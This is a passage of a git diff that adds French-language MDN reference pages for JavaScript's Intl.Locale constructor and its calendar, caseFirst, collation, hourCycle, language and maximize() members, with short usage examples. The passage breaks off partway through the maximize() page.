+<p>Les calendriers font partie des « clés d'extension ». Ces clés permettent d'ajouter des informations supplémentaires aux locales et sont ajoutées via l'extension <code>-u</code>. Ainsi, on peut indiquer le calendrier utilisé via la chaîne de locale passée comme argument au constructeur {{jsxref("Locale", "Intl.Locale")}}. Pour ce faire, on ajoutera d'abord <code>-u</code> à la chaîne « courte » de la locale puis <code>-ca</code> afin d'indiquer qu'on précise le calendrier et enfin la chaîne représentant la clé du calendrier.</p>
+
+<pre class="brush: js">let frBuddhist = new Intl.Locale("fr-FR-u-ca-buddhist");
+console.log(frBuddhist.calendar); // affiche "buddhist" dans la console</pre>
+
+<h3 id="Spécifier_un_calendrier_grâce_à_un_objet_de_configuration">Spécifier un calendrier grâce à un objet de configuration</h3>
+
+<p>Le constructeur {{jsxref("Locale", "Intl.Locale")}} peut utiliser un argument optionnel qui est un objet permettant de configurer la locale via différentes extensions dont les calendriers. En utilisant la propriété <code>calendar</code> de cet objet, on définit le calendrier qui sera utilisé :</p>
+
+<pre class="brush: js">let frBuddhist = new Intl.Locale("fr-FR", {calendar: "buddhist"});
+console.log(frBuddhist.calendar); // affiche "buddhist" dans la console
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.calendar">Proposition pour <code>Intl.Locale.prototype.calendar</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+ <li><a href="https://www.unicode.org/reports/tr35/#UnicodeCalendarIdentifier">Identifiants Unicode pour les calendriers</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/casefirst/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/casefirst/index.html
new file mode 100644
index 0000000000..7403262d3d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/casefirst/index.html
@@ -0,0 +1,94 @@
+---
+title: Intl.Locale.prototype.caseFirst
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/caseFirst
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Propriété
+  - Reference
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/caseFirst
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La propriété <strong><code>Intl.Locale.prototype.caseFirst</code></strong> est une propriété (via un accesseur) qui renvoie si la casse est prise en compte par la locale pour ses règles de collation (celles qui permettent d'ordonner des chaînes de caractères entre elles).</span></p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les règles de collation des locales sont utilisées afin de déterminer la façon dont les chaînes sont ordonnées pour cette locale. Certaines locales utilisent la casse (minuscule ou majuscule) dans ce processus de collation. Cette règle peut être exprimée via la propriété <code>caseFirst</code> d'une instance <code>Locale</code>.</p>
+
+<p>Cette propriété peut avoir une des 3 valeurs suivantes :</p>
+
+<table class="standard-table">
+ <caption>Valeurs pour <code>caseFirst</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Valeur</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>upper</code></td>
+   <td>Les majuscules devraient être triées avant les minuscules.</td>
+  </tr>
+  <tr>
+   <td><code>lower</code></td>
+   <td>Les minuscules devraient être triées avant les majuscules.</td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td>La casse n'a pas d'importance pour le tri des chaînes.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_caseFirst_grâce_à_la_chaîne_de_description_de_la_locale">Définir <code>caseFirst</code> grâce à la chaîne de description de la locale</h3>
+
+<p>Le constructeur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale" title="The Intl.Locale constructor is a standard built-in property of the Intl object."><code>Intl.Locale</code></a> prend comme premier argument une chaîne de caractères qui décrit la locale. On peut allonger cette chaîne avec certaines valeurs afin de l'affiner.</p>
+
+<p>Dans la <a href="https://www.unicode.org/reports/tr35/">spécification Unicode sur les clés des extensions</a>, <code>caseFirst</code> correspond à la clé<code> kf</code>. <code>kf</code>. Il est possible d'ajouter des extensions à la chaîne identifiant la locale en la concaténant à <code>-u</code> puis en concaténant la clé de l'extension qu'on souhaite préciser (ici <code>-kf</code>) puis en ajoutant enfin la valeur pour cette extension (ici <code>upper</code>) :</p>
+
+<pre class="brush: js">let caseFirstStr = new Intl.Locale("fr-Latn-FR-u-kf-upper");
+console.log(caseFirstStr.caseFirst); // Prints "upper"</pre>
+
+<h3 id="Définir_caseFirst_via_lobjet_de_configuration">Définir <code>caseFirst</code> via l'objet de configuration</h3>
+
+<p>Le constructeur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale" title="The Intl.Locale constructor is a standard built-in property of the Intl object."><code>Intl.Locale</code></a> permet d'utiliser un objet de configuration comme deuxième argument. Les propriétés de cet objet seront autant d'extensions Unicode à utiliser pour la locale. Ici, on peut utiliser un objet avec la propriété <code>caseFirst</code> pour indiquer l'impact de la casse sur la collation de cette locale :</p>
+
+<pre class="brush: js">let caseFirstObj= new Intl.Locale("en-Latn-US", {caseFirst: "lower"});
+console.log(us12hour.caseFirst); // affichera "lower" dans la console.</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.caseFirst">Proposition pour <code>Intl.Locale</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("javascript.builtins.Intl.Locale.caseFirst")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+ <li><a href="https://github.com/unicode-org/cldr/blob/master/common/bcp47/collation.xml#L49">Spécification Unicode pour la collation selon la casse</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/collation/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/collation/index.html
new file mode 100644
index 0000000000..46482bcd73
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/collation/index.html
@@ -0,0 +1,167 @@
+---
+title: Intl.Locale.prototype.collation
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/collation
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/collation
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La propriété <strong><code>Intl.Locale.prototype.collation</code></strong> est une propriété (à laquelle on accède via un accesseur) qui renvoie le <a href="https://www.unicode.org/reports/tr35/tr35-collation.html#CLDR_Collation">type de collation</a> pour l'instance de <code>Locale</code> courante. La collation est la méthode qui permet d'ordonner des chaînes de caractères en fonction des règles de la locale.</span></p>
+
+<h2 id="Description">Description</h2>
+
+<p>La collation est la façon dont les chaînes de caractères sont ordonnées. Elle est utilisée lorsqu'on doit trier des chaînes de caractères (des résultats de recherche, des enregistrements dans une base de donnée, etc.). Bien que cela puisse sembler trivial, la collation varie d'une région à l'autre et d'une langue à une autre. Cette propriété permet aux développeurs de connaître le type de collation pour une locale donnée.</p>
+
+<p>Voici un tableau listant les types de collation possibles tels que définis dans <a href="https://github.com/unicode-org/cldr/blob/2dd06669d833823e26872f249aa304bc9d9d2a90/common/bcp47/collation.xml">la spécification Unicode sur la collation</a>.</p>
+
+<table class="standard-table">
+ <caption>Les différents types de collation</caption>
+ <thead>
+  <tr>
+   <th scope="col">Type de collation</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>big5han</code></td>
+   <td>Ordre pinyin pour l'alphabet latin et ordre big5 pour les caractères CJK (utilisés en chinois)</td>
+  </tr>
+  <tr>
+   <td><code>compat</code></td>
+   <td>Une version précédente de l'ordre, utilisée à des fins de compatibilité</td>
+  </tr>
+  <tr>
+   <td><code>dict</code></td>
+   <td>Ordre à la façon d'un dictionnaire (comme utilisé en cingalais)</td>
+  </tr>
+  <tr>
+   <td>
+    <div class="blockIndicator warning">
+    <p>Le type <code>direct</code> a été déprécié et ne doit pas être utilisé.</p>
+    </div>
+
+    <p><code>direct</code></p>
+   </td>
+   <td>Ordre des points de code binaires (utilisé en hindoux)</td>
+  </tr>
+  <tr>
+   <td><code>ducet</code></td>
+   <td>La collation Unicode par défaut pour les éléments d'un tableau</td>
+  </tr>
+  <tr>
+   <td><code>emoji</code></td>
+   <td>L'ordre recommandé pour les émojis</td>
+  </tr>
+  <tr>
+   <td><code>eor</code></td>
+   <td>Règles d'ordre européennes</td>
+  </tr>
+  <tr>
+   <td><code>gb2312</code></td>
+   <td>Ordre pinyin pour l'alphabet latin et ordre gb2312han pour les caractères CJK (utilisés en chinois)</td>
+  </tr>
+  <tr>
+   <td><code>phonebk</code></td>
+   <td>Ordre à la façon d'un annuaire (tel qu'en allemand)</td>
+  </tr>
+  <tr>
+   <td><code>phonetic</code></td>
+   <td>Ordre phonétique, basé sur la prononciation</td>
+  </tr>
+  <tr>
+   <td><code>pinyin</code></td>
+   <td>Ordre pinyin pour les caractères de l'alphabet latin et les caractères CJK (utilisés en chniois)</td>
+  </tr>
+  <tr>
+   <td><code>reformed</code></td>
+   <td>Ordre réformé (tel qu'en suédois)</td>
+  </tr>
+  <tr>
+   <td><code>search</code></td>
+   <td>Collation spéciale pour les chaînes de caractères utilisées pour des recherches</td>
+  </tr>
+  <tr>
+   <td><code>searchjl</code></td>
+   <td>Collation spéciale pour la recherche des consonnes initiales en coréen</td>
+  </tr>
+  <tr>
+   <td><code>standard</code></td>
+   <td>L'ordre par défaut pour chaque langue</td>
+  </tr>
+  <tr>
+   <td><code>stroke</code></td>
+   <td>Ordre pinyin pour l'alphabet latin et ordre de dessin (<em>stroke</em>) pour les caractères CJK (utilisés en chinois)</td>
+  </tr>
+  <tr>
+   <td><code>trad</code></td>
+   <td>Ordre traditionnel (tel qu'en espagnol)</td>
+  </tr>
+  <tr>
+   <td><code>unihan</code></td>
+   <td>Ordre pinyin pour l'alphabet latin et ordre Unihan radical pour les caractères CJK (utilisés en chinois)</td>
+  </tr>
+  <tr>
+   <td><code>zhuyin</code></td>
+   <td>
+    <p>Ordre pinyin pour l'alphabet latin, ordre zhuyin pour les caractères Bopomofo et CJK (utilisés en chinois)</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>À l'instar des autres étiquettes, le type de collation peut être défini pour l'objet {{jsxref("Locale", "Intl.Locale")}} via la chaîne de caractères qui définit la locale ou grâce au deuxième paramètre du constructeur qui est un objet de configuration.</p>
+
+<h3 id="Définir_le_type_de_collation_via_la_chaîne_décrivant_la_locale">Définir le type de collation via la chaîne décrivant la locale</h3>
+
+<p>Le premier argument passé à <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale" title="The Intl.Locale constructor is a standard built-in property of the Intl object."><code>Intl.Locale</code></a> est une chaîne de caractères qui décrit la locale. Cette chaîne peut contenir des fragments additionnels (en plus de l'identifiant canonique de la locale). Pour cela, on ajoutera <code>-u</code> afin d'indiquer qu'on définit une extension. On ajoutera ensuite la clé identifiant cette extension, ici <code>-co</code> pour la collation. Enfin, on ajoutera la valeur souhaitée pour cette extension (dans cet exemple, <code>-emoji</code>) :</p>
+
+<pre class="brush: js">let stringColl = new Intl.Locale("en-Latn-US-u-co-emoji");
+console.log(stringColl.collation); // Affichera "emoji" dans la console
+</pre>
+
+<h3 id="Définir_le_type_de_collation_via_lobjet_de_configuration">Définir le type de collation via l'objet de configuration</h3>
+
+<p>Le constructeur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale" title="The Intl.Locale constructor is a standard built-in property of the Intl object."><code>Intl.Locale</code></a> possède un deuxième argument optionnel qui est un objet de configuration. Chaque propriété de cet objet pourra permettre de préciser une extension à la locale, y compris un type de collation. Pour définir le type de collation, on pourra utiliser une propriété <code>collation</code> sur cet objet avec une des valeurs indiquées ci-avant :</p>
+
+<pre class="brush: js">let configColl = new Intl.Locale("en-Latn-US", {collation: "emoji"});
+console.log(configColl.collation); // Affichera "emoji" dans la console</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.collation">Proposition pour <code>Intl.Locale.prototype.collation</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Locale.collation")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/hourcycle/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/hourcycle/index.html
new file mode 100644
index 0000000000..f88b4c5441
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/hourcycle/index.html
@@ -0,0 +1,95 @@
+---
+title: Intl.Locale.prototype.hourCycle
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/hourCycle
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/hourCycle
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Intl.Locale.prototype.hourCycle</code></strong> est une propriété accessible via un accesseur qui renvoie la convention pour le format des heures utilisée par la locale courante.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Il existe deux types de conventions pour la représentation des heures : sur douze heures d'une part et sur vingt-quatre heures d'autre part. La propriété <code>hourCycle</code> permet aux développeurs de connaître la représentation utilisée par une locale donnée. À l'instar des autres données fournies par les instances de <code>Locale</code>, <code>hourCycle</code> représente une <a href="https://www.unicode.org/reports/tr35/#u_Extension">extension Unicode</a> qui permet d'affiner le comportement d'une locale. Les valeurs de cette propriété/extension peuvent être :</p>
+
+<table class="standard-table">
+ <caption>Valeurs possibles pour l'extension <code>hourCycle</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Clé</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>h12</code></td>
+   <td>Système horaire sur les heures 1 à 12 (correspond à la notation "h" pour les motifs de recherche). L'horloge est sur douze heures et minuit commence à 12:00 AM.</td>
+  </tr>
+  <tr>
+   <td><code>h23</code></td>
+   <td>Système horaire sur les heures 0 à 23 (correspond à la notation "H" pour les motifs de recherche). L'horloge est sur vingt-quatre heures et minuit commence à 0:00.</td>
+  </tr>
+  <tr>
+   <td><code>h11</code></td>
+   <td>Système horaire sur les heures 0 à 11 (correspond à la notation "K" pour les motifs de recherche). L'horloge est sur douze heures et minuit commence à 0:00 AM.</td>
+  </tr>
+  <tr>
+   <td><code>h24</code></td>
+   <td>Système horaire sur les heures 1 à 24 (correspond à la notation "K" pour les motifs de recherche). L'horloge est sur vingt-quatre heures et minuit commence à 24:00.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_le_format_horaire_grâce_à_la_chaîne_décrivant_la_locale">Définir le format horaire grâce à la chaîne décrivant la locale</h3>
+
+<p>Il est possible de préciser la valeur d'une extension Unicode dans la chaîne de caractères représentant la locale. Pour indiquer l'extension, on ajoutera le suffixe <code>-u</code> qui indique une clé d'extension à venir, ensuite on ajoutera la clé de l'extension en question (ici <code>-hc</code>) et enfin on ajoutera la valeur souhaitée pour cette extension.</p>
+
+<pre class="brush: js">let fr24hour = new Intl.Locale("fr-FR-u-hc-h23");
+console.log(fr24hour.hourCycle); // Affichera "h23" dans la console</pre>
+
+<h3 id="Définir_le_format_horaire_grâce_à_un_objet_de_configuration">Définir le format horaire grâce à un objet de configuration</h3>
+
+<p>Le constructeur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale" title="The Intl.Locale constructor is a standard built-in property of the Intl object."><code>Intl.Locale</code></a> permet d'utiliser un objet de configuration comme deuxième argument. Les propriétés de cet objet permettent de définir différentes extensions, y compris celle pour le format horaire. Pour cela, on indiquera la propriété <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">hourCycle</span></font> sur l'objet de configuration avec la valeur souhaitée et on passera cet objet au constructeur.</p>
+
+<pre class="brush: js">let us12hour = new Intl.Locale("en-US-u-hc-h12");
+console.log(us12hour.hourCycle); // Affichera "h12" dans la console</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.hourCycle">Proposition pour <code>Intl.Locale</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("javascript.builtins.Intl.Locale.hourCycle")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+ <li><a href="https://www.unicode.org/reports/tr35/#UnicodeHourCycleIdentifier">Spécification pour l'extension Unicode des cycles horaires</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/index.html
new file mode 100644
index 0000000000..f5e22804fa
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/index.html
@@ -0,0 +1,74 @@
+---
+title: Intl.Locale
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale
+tags:
+  - Constructeur
+  - Intl
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale
+---
+<div>{{JSRef}}{{SeeCompatTable}}</div>
+
+<p>Le constructeur <strong><code>Intl.Locale</code></strong> est une propriété native de l'objet <code>Intl</code> représentant l'identifiant d'une locale Unicode.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/intl-locale.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Intl.Locale([<var>tag</var>[, <var>options</var>]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>tag</code></dt>
+ <dd>La chaîne de caractère représentant l'identifiant d'une locale Unicode.</dd>
+ <dt><code>options</code></dt>
+ <dd>Un objet contenant la configuration pour la locale. Les clés (noms des propriétés) de cet objets sont des balises Unicode et les valeurs de ces propriétés doivent être des valeurs de balises Unicode valides.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet <code>Intl.locale</code> a été conçu afin de manipuler des locales Unicode. Les locales Unicode sont représentées par une chaîne de caractères qu'on appelle « identifiant de locale ». L'identifant de locale se compose d'un identifiant de langue et d'extensions. Les identifiants de langue sont la composante principale d'une locale et contiennent une langue, un système d'écriture et des extensions régionales. Les informations complémentaires sont stockées via les extensions. Ces extensions peuvent fournir des informations quant au type de calendrier utilisé, le format d'heure utilisé ou la numération utilisée.</p>
+
+<p>L'objet <code>Intl.Locale</code> possède les propriétés et méthodes suivantes.</p>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt>{{jsxref("Locale.prototype","Intl.Locale.prototype")}}</dt>
+ <dd>Le prototype pour le constructeur <code>Locale</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#locale-objects">Proposition pour <code>Intl.Locale</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Locale")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://github.com/zbraniecki/Intl.js/tree/intllocale">La prothèse d'émulation (<em>polyfill</em>) pour <code>Intl.Locale</code></a></li>
+ <li><a href="https://www.unicode.org/reports/tr35/#Canonical_Unicode_Locale_Identifiers">La spécification Unicode pour les identifiants de locale</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/language/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/language/index.html
new file mode 100644
index 0000000000..1a3f95566d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/language/index.html
@@ -0,0 +1,69 @@
+---
+title: Intl.Locale.prototype.language
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/language
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/language
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La propriété <strong><code>Intl.Locale.prototype.language</code></strong> est une propriété fournie via un accesseur qui renvoie la langue associée à la locale.</span></p>
+
+<h2 id="Description">Description</h2>
+
+<p>La langue est l'une des caractéristiques majeurs d'une locale. La spécification Unicode indique que l'identifiant de la langue d'une locale est composée de l'identifiant canonique de la langue et de l'identifiant de la réponse (on pourra ainsi distinguer l'anglais britannique de l'anglais américain). Toutefois, la propriété <code>language</code> de {{jsxref("Locale", "Locale")}} renvoie uniquement la composante relative à la langue.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Indiquer_la_langue_via_la_chaîne_décrivant_la_locale">Indiquer la langue via la chaîne décrivant la locale</h3>
+
+<p>Afin de pouvoir représenter une locale Unicode correctement, une chaîne doit commencer par un identifiant de langue. Le principal argument du constructeur {{jsxref("Locale", "Locale")}} doit être un identifiant valide et doit donc contenir la composante liée à la langue.</p>
+
+<pre class="brush: js">let langStr = new Intl.Locale("en-Latn-US");
+
+console.log(langStr.language); // Affichera "en" dans la console</pre>
+
+<h3 id="Surcharger_la_langue_via_lobjet_de_configuration">Surcharger la langue via l'objet de configuration</h3>
+
+<p>Bien que la composante de la langue doive être indiquée dans le premier paramètre, le constructeur {{jsxref("Locale", "Locale")}} prend comme deuxième argument un objet de configuration qui permet de surcharger cette composante.</p>
+
+<pre class="brush: js">let langObj = new Intl.Locale("en-Latn-US", {language: "es"});
+
+console.log(langObj.language); // Affichera "es" dans la console</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.language">Proposition pour <code>Intl.Locale.prototype.language</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("javascript.builtins.Intl.Locale.language")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Locale")}}</li>
+ <li><a href="https://www.unicode.org/reports/tr35/#unicode_language_subtag_validity">Spécification des extensions Unicode</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/maximize/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/maximize/index.html
new file mode 100644
index 0000000000..678db44d6e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/maximize/index.html
@@ -0,0 +1,78 @@
+---
+title: Intl.Locale.prototype.maximize()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/maximize
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/maximize
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La méthode <strong><code>Intl.Locale.prototype.maximize()</code></strong> permet d'obtenir les valeurs les plus vraisemblantes pour la langue, le script et la région de la locale en fonction des valeurs existantes.</span></p>
+
+<p>{{EmbedInteractiveExample("pages/js/intl-locale-prototype-maximize.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><em>locale</em>.maximize()</code></pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une instance {{jsxref("Locale", "Locale")}} dont la propriété <code>baseName</code> renvoie le résultat de l'algorithme de <a href="https://www.unicode.org/reports/tr35/#Likely_Subtags">vraisemblance des composantes</a> lancé sur <code><em>{{jsxref("Locale/baseName", "locale.baseName")}}</em></code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Il est parfois utile d'identifier les composantes les plus probables d'une locale en fonction d'un identifiant incomplet. Cette méthode utilise un algorithme qui permet de déduire les composantes restantes les plus probables. Par exemple, si on fournit la langue <code>"en"</code>, l'algorithme renverra <code>"en-Latn-US"</code>, car l'anglais ne s'écrit qu'avec l'alphabet latin et est le plus largement parlé aux États-Unis. La méthode <code>maximize()</code> n'opère que sur les composantes principales (langue, script, région) et pas sur les extensions éventuellement indiquées après <code>"-u"</code> (dont <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale/hourCycle" title="The Intl.Locale.prototype.hourCycle property is an accessor property that returns the time keeping format convention used by the locale."><code>Locale.hourCycle</code></a>, <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale/calendar" title="The Intl.Locale.prototype.calendar property is an accessor property which returns the type of calendar used in the Locale."><code>Locale.calendar</code></a> et <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale/numeric" title="The Intl.Locale.prototype.numeric property is an accessor property that returns whether the locale has special collation handling for numeric characters."><code>Locale.numeric</code></a> entre autres).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">let maLocale = new Intl.Locale("fr", {hourCycle: "h24", calendar: "gregory"});
+console.log(maLocale.baseName); // Affiche "fr"
+console.log(maLocale.toString()); // Affiche "fr-u-ca-gregory-hc-h24"
